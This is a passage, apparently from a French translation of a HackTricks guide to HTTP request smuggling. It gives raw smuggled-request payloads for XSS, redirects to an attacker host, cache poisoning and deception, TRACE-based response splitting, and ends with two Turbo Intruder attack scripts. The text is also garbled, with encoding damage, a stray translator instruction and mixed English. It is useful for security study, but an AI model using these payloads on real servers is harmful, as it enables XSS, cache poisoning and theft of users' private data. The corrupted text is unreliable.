Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Ce payload est structuré pour exploiter la vulnérabilité en :

  1. Initier une requĂȘte POST, apparemment typique, avec un header Transfer-Encoding: chunked pour indiquer le dĂ©but du smuggling.
  2. Suivi d'un 0, marquant la fin du corps du message chunked.
  3. Ensuite, une requĂȘte GET smuggled est introduite, oĂč le header User-Agent est injectĂ© avec un script, <script>alert(1)</script>, dĂ©clenchant la XSS lorsque le serveur traite cette requĂȘte ultĂ©rieure.

En manipulant le User-Agent via smuggling, le payload contourne les contraintes normales des requĂȘtes, exploitant ainsi la vulnĂ©rabilitĂ© Reflected XSS de maniĂšre non standard mais efficace.

HTTP/0.9

caution

Si le contenu utilisateur est reflĂ©tĂ© dans une rĂ©ponse avec un Content-type tel que text/plain, empĂȘchant l'exĂ©cution du XSS. Si le serveur prend en charge HTTP/0.9 il pourrait ĂȘtre possible de contourner cela !

La version HTTP/0.9 précédait HTTP/1.0 et n'utilise que les verbes GET et ne répond pas avec des headers, seulement le body.

Dans this writeup, cela a Ă©tĂ© abusĂ© avec un request smuggling et un endpoint vulnĂ©rable qui renverra l'entrĂ©e de l'utilisateur pour smuggler une requĂȘte en HTTP/0.9. Le paramĂštre reflĂ©tĂ© dans la rĂ©ponse contenait une fake HTTP/1.1 response (with headers and body), de sorte que la rĂ©ponse contient du code JS exĂ©cutable valide avec un Content-Type de text/html.

Exploiter les redirections sur site avec HTTP Request Smuggling

Les applications redirigent souvent d'une URL Ă  une autre en utilisant le nom d'hĂŽte du header Host dans l'URL de redirection. C'est courant avec des web servers comme Apache et IIS. Par exemple, demander un dossier sans slash final entraĂźne une redirection pour inclure le slash :

GET /home HTTP/1.1
Host: normal-website.com

Résulte en :

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Bien que apparemment inoffensif, ce comportement peut ĂȘtre manipulĂ© en utilisant HTTP request smuggling pour rediriger les utilisateurs vers un site externe. Par exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Cette requĂȘte smuggled pourrait entraĂźner la redirection de la prochaine requĂȘte utilisateur traitĂ©e vers un site contrĂŽlĂ© par un attaquant :

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Résulte en :

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Dans ce scĂ©nario, la requĂȘte d'un utilisateur pour un fichier JavaScript est dĂ©tournĂ©e. L'attacker peut potentiellement compromettre l'utilisateur en renvoyant du JavaScript malveillant en rĂ©ponse.

Exploitation de Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning peut ĂȘtre exĂ©cutĂ© si un composant de l'infrastructure front-end met en cache du contenu, typiquement pour amĂ©liorer les performances. En manipulant la rĂ©ponse du serveur, il est possible de poison the cache.

PrĂ©cĂ©demment, nous avons observĂ© comment les rĂ©ponses serveur pouvaient ĂȘtre altĂ©rĂ©es pour renvoyer une erreur 404 (voir Basic Examples). De mĂȘme, il est faisable de tromper le serveur pour qu'il dĂ©livre le contenu de /index.html en rĂ©ponse Ă  une requĂȘte pour /static/include.js. Par consĂ©quent, le contenu de /static/include.js est remplacĂ© dans le cache par celui de /index.html, rendant /static/include.js inaccessible aux utilisateurs, pouvant mener Ă  un Denial of Service (DoS).

Cette technique devient particuliĂšrement puissante si une Open Redirect vulnerability est dĂ©couverte ou s'il existe un on-site redirect to an open redirect. De telles vulnĂ©rabilitĂ©s peuvent ĂȘtre exploitĂ©es pour remplacer le contenu mis en cache de /static/include.js par un script sous le contrĂŽle de l'attacker, permettant essentiellement une attaque Cross-Site Scripting (XSS) Ă  grande Ă©chelle contre tous les clients demandant le /static/include.js mis Ă  jour.

Ci-dessous une illustration de l'exploitation de cache poisoning combined with an on-site redirect to open redirect. L'objectif est d'altérer le contenu du cache de /static/include.js pour servir du code JavaScript contrÎlé par l'attacker :

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Remarquez la requĂȘte intĂ©grĂ©e ciblant /post/next?postId=3. Cette requĂȘte sera redirigĂ©e vers /post?postId=4, en utilisant la Host header value pour dĂ©terminer le domaine. En modifiant la Host header, l'attaquant peut rediriger la requĂȘte vers son domaine (on-site redirect to open redirect).

AprĂšs un socket poisoning rĂ©ussi, une GET request pour /static/include.js doit ĂȘtre initiĂ©e. Cette requĂȘte sera contaminĂ©e par la prĂ©cĂ©dente requĂȘte on-site redirect to open redirect et rĂ©cupĂ©rera le contenu du script contrĂŽlĂ© par l'attaquant.

Par la suite, toute requĂȘte pour /static/include.js servira le contenu mis en cache du script de l'attaquant, lançant ainsi une attaque XSS Ă  grande Ă©chelle.

Utiliser HTTP request smuggling pour effectuer web cache deception

What is the difference between web cache poisoning and web cache deception?

  • Dans web cache poisoning, l'attaquant amĂšne l'application Ă  stocker un contenu malveillant dans le cache, et ce contenu est servi depuis le cache Ă  d'autres utilisateurs de l'application.
  • Dans web cache deception, l'attaquant amĂšne l'application Ă  stocker du contenu sensible appartenant Ă  un autre utilisateur dans le cache, puis rĂ©cupĂšre ce contenu depuis le cache.

L'attaquant construit une smuggled request qui récupÚre du contenu sensible spécifique à un utilisateur. Considérez l'exemple suivant:

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Si cette requĂȘte smuggled empoisonne une entrĂ©e de cache destinĂ©e Ă  du contenu statique (par ex., /someimage.png), les donnĂ©es sensibles de la victime provenant de /private/messages pourraient ĂȘtre mises en cache sous l'entrĂ©e de cache du contenu statique. Par consĂ©quent, l'attaquant pourrait potentiellement rĂ©cupĂ©rer ces donnĂ©es sensibles mises en cache.

Abus de TRACE via HTTP Request Smuggling

In this post il est suggĂ©rĂ© que si le serveur a la mĂ©thode TRACE activĂ©e, il pourrait ĂȘtre possible d'en abuser avec HTTP Request Smuggling. Ceci s'explique par le fait que cette mĂ©thode renvoie tout en-tĂȘte envoyĂ© au serveur dans le corps de la rĂ©ponse. Par exemple :

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Veuillez coller le contenu du fichier README.md que vous voulez que je traduise en français.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

An example on how to abuse this behaviour would be to smuggle first a HEAD request. This request will be responded with only the headers of a GET request (Content-Type among them). And smuggle immediately after the HEAD a TRACE request, which will be reflecting the sent data.
As the HEAD response will be containing a Content-Length header, the response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data in the response.
This response will be sent to the next request over the connection, so this could be used in a cached JS file for example to inject arbitrary JS code.

Abusing TRACE via HTTP Response Splitting

La lecture de this post est suggĂ©rĂ©e pour une autre façon d'abuser de la mĂ©thode TRACE. Comme indiquĂ©, en smuggling une requĂȘte HEAD et une requĂȘte TRACE il est possible de contrĂŽler certaines donnĂ©es reflĂ©tĂ©es dans la rĂ©ponse Ă  la requĂȘte HEAD. La longueur du corps de la requĂȘte HEAD est essentiellement indiquĂ©e dans l'en-tĂȘte Content-Length et est constituĂ©e par la rĂ©ponse Ă  la requĂȘte TRACE.

Par consĂ©quent, l'idĂ©e consiste Ă  dire que, connaissant ce Content-Length et les donnĂ©es fournies dans la rĂ©ponse TRACE, il est possible de faire en sorte que la rĂ©ponse TRACE contienne une HTTP response valide aprĂšs le dernier octet du Content-Length, permettant Ă  un attaquant de contrĂŽler complĂštement la requĂȘte vers la rĂ©ponse suivante (ce qui pourrait ĂȘtre utilisĂ© pour effectuer un cache poisoning).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Générera ces réponses (remarquez comment la réponse HEAD possÚde un Content-Length qui fait que la réponse TRACE fait partie du corps de la réponse HEAD et, une fois que le Content-Length de la réponse HEAD prend fin, une réponse HTTP valide est smuggled) :

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Exploiter HTTP Request Smuggling avec HTTP Response Desynchronisation

Avez-vous trouvé une vulnérabilité HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez ces autres méthodes d'exploitation :

HTTP Response Smuggling / Desync

Autres techniques de HTTP Request Smuggling

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Scripts Turbo intruder

CL.TE

Source: https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Source: https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Outils

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks